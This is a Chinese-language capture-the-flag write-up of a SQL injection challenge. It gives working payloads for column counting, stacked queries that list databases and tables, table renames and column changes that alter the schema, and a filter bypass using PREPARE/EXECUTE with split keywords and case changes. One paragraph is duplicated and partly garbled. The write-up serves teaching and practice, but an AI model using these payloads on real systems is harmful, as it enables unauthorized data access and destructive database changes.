成功返回了3条数据,说明存在SQL注入漏洞
之后先判断有几列数据,使用order by 1让返回的数据按照第一列排序:
1' or 1=1 order by 1 #
返回了正确的结果,并且按照第一列排序了,说明至少存在一列数据。
其实我们也可以直接从order by 2让返回的数据按照前2列排序开始的,因为再上面几次搜索的返回结果中,可以明显看到有2列以上的不同数据:
按照前两列排序也返回了正确的结果,说明至少存在2列数据。
之后我们使用order by 3让返回的数据按照前3列排序:
1' or 1=1 order by 3 #
没有第3列数据,
那我们接下来用union联合查询来利用这两列读取数据:
1' union all select 1,2 #
提示有关键词过滤:preg_match("/select|update|delete|drop|insert|where|\./i",$inject)
对一些关键的SQL语句的大小写的正则匹配,所以这里使用联合注入不可行,只能考虑其他不带这些SQL关键词的注入方式,如盲注、堆叠注入。
使用堆叠注入可以同时执行多个SQL语句,例如分开执行显示所有数据库的语句:
1';show databases;#
还可以显示当前数据库中所有的表:
1';show tables;#
之后我们可以显示这两个表的列名,显示表1919810931114514的列名(数字为表名操作时要加反引号):
1';show columns from `1919810931114514`;#
1';show columns from words;#
可以看到每一列值的属性,但是show是无法直接查看值的内容的。
其中表1919810931114514中有一个属性的名称就是flag,应该就是flag所在的位置;表words的2列属性就是开始我们查询的时候输出的2列值。
所以现在的后台代码大概逻辑就是:
select * from words where id = $inject;
直接将我们输入的 i n j e c t 参 数 的 值 拼 接 到 S Q L 语 句 进 行 数 据 库 查 询 , 所 以 默 认 输 出 的 是 w o r d s 表 中 的 内 容 。 而 我 们 现 在 要 输 出 的 是 表 1919810931114514 中 的 f l a g 的 值 所 以 我 们 的 一 种 攻 击 思 路 就 是 : ( 1 ) 先 把 表 w o r d s 改 成 其 他 的 表 名 如 t e s t ; ( 2 ) 然 后 再 把 表 1919810931114514 重 命 名 为 w o r d s ; ( 3 ) 把 f l a g 字 段 改 为 i d 字 段 或 者 添 加 一 个 i d 字 段 。 这 样 我 们 输 入 的 inject参数的值拼接到SQL语句进行数据库查询,所以默认输出的是words表中的内容。而我们现在要输出的是表1919810931114514中的flag的值 所以我们的一种攻击思路就是: (1)先把表words改成其他的表名如test; (2)然后再把表1919810931114514重命名为words; (3)把flag字段改为id字段或者添加一个id字段。 这样我们输入的 inject参数的值拼接到SQL语句进行数据库查询,所以默认输出的是words表中的内容。而我们现在要输出的是表1919810931114514中的flag的值所以我们的一种攻击思路就是:(1)先把表words改成其他的表名如test;(2)然后再把表1919810931114514重命名为words;(3)把flag字段改为id字段或者添加一个id字段。这样我们输入的inject参数实际上查询的就是表1919810931114514中的数据。
因为是可以使用堆叠注入,可以一次性完成上面3条语句,更改表表名用到的是rename,语法是:
rename tables 旧表名 to 新表名;
所以(1)把表words改成其他的表名如test:
rename tables `words` to `test`;
(2)然后再把表1919810931114514重命名为words:
rename tables `1919810931114514` to `words`;
修改列名用到的是alter change,语法是:
alter table 表名 change column 列名 新列名 属性
(3)把flag字段改为id字段:
alter table `words` change column `flag` `id` varchar(100);
合起来的搜索语句就是:
1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`; alter table `words` change column `flag` `id` varchar(100);#
执行之后没有报错。
再查看当前表中的所有数据:
1' or 1=1#
得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
我们再看一下我们刚刚的修改对数据库造成的影响:
1';show tables;#
现在数据库中的表是test和words了,另外原来的表1919810931114514中没有flag等于1的值所以搜索1现在没有符合要求的结果了:
也可以继续查看我们刚刚的修改对表test和words中的列造成的影响:
1';show columns from test;#
test表就是原words表中的内容。
1';show columns from words;#
words表就是原1919810931114514中的内容,且flag字段已经被我们改成了id字段。
这个攻击和上面不一样的只是攻击步骤(3)中是添加一个id字段,添加用的alter add,语法是:
alter table 表名 add (字段的名称 字段的类型 (附加属性));
(3)添加一个id字段,这句SQL语句的意思是在words表中添加一个id字段,它的类型是int(11)、primary key是主键、auto_increment)是值自动加1:
1’;alter table `1919810931114514` add (id int(10) primary key auto_increment);#
和前面的语句合起来就是:
1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`;alter table `words` add (id int(11) primary key auto_increment);#
执行成功,
因为有了自增加的id字段,所以直接搜索1,就是flag所在的数据:
得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
查看当前words表的列属性:
1';show columns from words;#
成功添加了id字段。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
后台只是过滤了select|update|delete|drop|insert|where关键字,没有过滤handler,尝试:
1' union handler words read first;#
但是这是一个MariaDB的数据库,无法使用handler关键字,所以这里是不可行的。
利用此方法的前提是支持多语句查询,也就是堆叠查询。
通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:
(1)词法和语义解析
(2)优化sql语句,制定执行计划
(3)执行并返回结果
我们把这种普通语句称作Immediate Statements。
但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如select、query的where子句值不同,update的set子句值不同,insert的values值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能将输入的参数和SQL语句分隔开来,可以防止sql注入。
MySQL的预编译语法分为定义预编译SQL语句和执行预编译语句:
//预编译SQL语句
PREPARE stmt_name FROM preparable_stmt;
//执行预编译语句
EXECUTE stmt_name [USING @var_name [, @var_name] …];
解释一下,定义的时候stmt_name是变量名,代表这个SQL语句,preparable_stmt代表的是预留的SQL语句中的参数位置,而下面举个例子:
PREPARE test FROM ‘SELECT (? + ?)’;//即定义了一个两数相加的SQL预编译语句
执行时,@var_name即变量,可以带入语句中进行执行,如:
SET @a = 1,@b = 2;//给变量赋值
EXECUTE test USING @a,@b;//执行
就相当于执行了select (1+2);
这道题目主要就是利用预编译,可以利用concat()将关键词拆分成2个变量合并起来,来绕过过滤的正则表达式的匹配,也可以将整个语句使用char()处理后执行。
拆分开来就是:
-1’;
set @sql = concat(‘sel’,‘ect * from 1919810931114514;’);//定义一个@sql变量,在后台运行的时候使用concat将sel 和ect连接起来
prepare stmt from @sql; //定义stmt变量指向预编译@sql语句
execute stmt; # //执行stmt变量
合并起来一起运行就是:
1';set @sql = concat('sel','ect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#
但是后台还用strstr函数过滤了set和prepare关键字,但是strstr函数只能过滤了小写的"set"和"prepare"关键字,
我们都改成大写它就无法匹配了:
1';Set @sql = concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#
也能得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}